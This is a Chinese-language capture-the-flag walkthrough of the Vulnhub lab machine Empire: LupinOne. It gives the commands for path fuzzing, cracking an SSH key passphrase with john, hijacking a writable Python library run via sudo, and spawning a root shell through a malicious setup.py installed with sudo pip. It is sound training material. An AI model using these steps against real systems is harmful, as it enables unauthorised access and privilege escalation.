Vulnhub-Empire: LupinOne题解

本靶机为Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE

扫描与发现

利用arp-scan命令扫描靶机IP

arp-scan -l

利用nmap扫描开放端口

nmap -sV -p- 192.168.164.190

目标探索

浏览器打开80端口,发现是一张图片,没有其他内容,检测源代码也没有发现有用信息

检查robots.txt文件发现/~myfiles目录,打开却发现Error 404

在旧版本的Apache服务器中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用wfuzz工具对其路径进行测试,发现~secret目录

wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.164.190/~FUZZ

在浏览器中打开该路径~secret/发现一段文字

上面称这是一个秘密目录,这里隐藏了他创建的ssh 私钥文件,并且得知用户名为icex64。接下来继续在该路径下搜索文件,得到.mysecret.txt文件

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hc 404,403 -u http://192.168.164.190/~secret/.FUZZ.txt

浏览器打开发现是一串编码后的字符串

可以使用编码识别工具进行识别,发现其为Base58,使用在线工具进行解码得到私钥文件内容

拿到shell

在本地创建文件key,将私钥保存到其中,然后使用john工具破解密码

python2 /usr/share/john/ssh2john.py key > keyhash
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt

得到密码为P@55w0rd!。将key 文件权限设为600(否则无法连接),然后利用ssh连接icex64用户

chmod 600 key
ssh icex64@192.168.164.190 -i key

水平越权

拿到shell后搜索suid文件,Capability文件,sudo -l发现可以执行一条命令

来到/home/arsene目录下,查看heist.py文件权限,没有修改权限,查看内容,发现其调用了webbrower.open()

我们通过find找到该文件的位置,查看其权限,发现可以写入内容

find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

我们可以直接编辑该文件,写入调用shell脚本(或者反弹shell脚本)

保存退出,执行,获得arsene用户shell

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

权限提升

拿到arsene用户权限后,查看sudo -l,发现可以免密执行/usr/bin/pip

sudo -l

我们可以在当前路径下新创建一个目录并打开在里面创建setup.py文件,里面写入我们想运行的python脚本,如反弹shell,然后利用pip install以root权限执行。

mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .

来到root目录下,打开root.txt拿到flag

Vulnhub-Empire: LupinOne题解的更多相关文章

  1. vlunhub靶场之EMPIRE: LUPINONE

    准备: 攻击机:虚拟机kali.本机win10. 靶机:EMPIRE: LUPINONE,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. vulnhub靶场之EMPIRE

    准备: 攻击机:虚拟机kali.本机win10. 靶机:EMPIRE: BREAKOUT,地址我这里设置的桥接,下载地址:https://download.vulnhub.com/empire/02- ...

  4. 【Vulnhub靶场】EMPIRE: BREAKOUT

    环境准备 下载靶机,导入到vmware里面,这应该不用教了吧 开机可以看到,他已经给出了靶机的IP地址,就不用我们自己去探测了 攻击机IP地址为:192.168.2.15 靶机IP地址为:192.16 ...

  5. C、Guard the empire(贪心)

    链接:https://ac.nowcoder.com/acm/contest/3570/C 来源:牛客网 题目描述 Hbb is a general and respected by the enti ...

  6. Vulnhub-Empire: Breakout题解

    Vulnhub-Empire: Breakout题解 这是Empire系列的靶机Breakout,地址:Vulnhub-EMPIRE: BREAKOUT 目标扫描 使用arp-scan 命令识别靶机I ...

  7. 2016 华南师大ACM校赛 SCNUCPC 非官方题解

    我要举报本次校赛出题人的消极出题!!! 官方题解请戳:http://3.scnuacm2015.sinaapp.com/?p=89(其实就是一堆代码没有题解) A. 树链剖分数据结构板题 题目大意:我 ...

  8. noip2016十连测题解

    以下代码为了阅读方便,省去以下头文件: #include <iostream> #include <stdio.h> #include <math.h> #incl ...

  9. BZOJ-2561-最小生成树 题解(最小割)

    2561: 最小生成树(题解) Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 1628  Solved: 786 传送门:http://www.lyd ...

随机推荐

  1. 新一代数据科学ide平台DataSpell提前发行版体验

    1 简介 PyCharm开发公司jetbrains专门面向数据科学的ide项目DataSpell在前不久发布了其EAP版本(早期预览版本),为我们带来了诸多趋于成熟的功能特性,本文就将为大家介绍其使用 ...

  2. Excel一对多查找

    很多人在Excel中用函数公式做查询的时候,都必然会遇到的一个大问题,那就是一对多的查找/查询公式应该怎么写?大多数人都是从VLOOKUP.INDEX+MATCH中入门的,纵然你把全部的多条件查找方法 ...

  3. Mybatis 二级缓存应用 (21)

    [MyBatis 二级缓存] 概述:一级缓存作用域为同一个SqlSession对象,而二级缓存用来解决一级缓存不能夸会话共享,作用范围是namespace级,可以被多个SqlSession共享(只要是 ...

  4. javascript-jquery-文档处理

    一.移动元素 1.append():向每个匹配元素的内部追加内容.例如:$("选择器1").qppend("选择器2"):将会匹配选择器2的元素,移动到匹配选择 ...

  5. 【二食堂】Beta - Scrum Meeting 3

    Scrum Meeting 3 例会时间:5.15 18:30~18:50 进度情况 组员 当前进度 今日任务 李健 1. 继续完成文本区域划词添加的功能 issue 1. 划词功能已经实现,继续开发 ...

  6. 利用Nginx搭建Ambari本地安装源

    1.下载本地源包https://docs.hortonworks.com/HDPDocuments/Ambari-2.7.3.0/bk_ambari-installation/content/ch_o ...

  7. hdu 5170 GTY's math problem(水,,数学,,)

    题意: 给a,b,c,d. 比较a^b和c^d的大小 思路: 比较log(a^b)和log(c^d)的大小 代码: int a,b,c,d; int main(){ while(scanf(" ...

  8. 我为啥开始用CSDN博客

    今晚开通CSDN博客,并且决定以后每天都使用这个不错的东西.与此同时,在博客园也开通了一个:http://www.cnblogs.com/fish7/ 我原本是把做过的题都用WPS整理的,然后每次打印 ...

  9. 策略路由——使用Router-Policy策略路由进行路由协议的引入

    1.实验目的:实现R3-R2-R1为访问主线路,R3-R4-R1为访问备份线路 2.实验拓扑及IP,如图; 3.基本配置(端口IP) R1: <Huawei>sys[Huawei]sys ...

  10. 【Go语言学习笔记】Go语言的基础语法

    上一篇已经说了,Go的语法和C的很接近,直接看看异同即可. 变量 变量名还是一样,字母或下划线开头,区分大小写.不能是关键字. Go定义了int32和int64这种类型来显示声明大小,和C里面的sho ...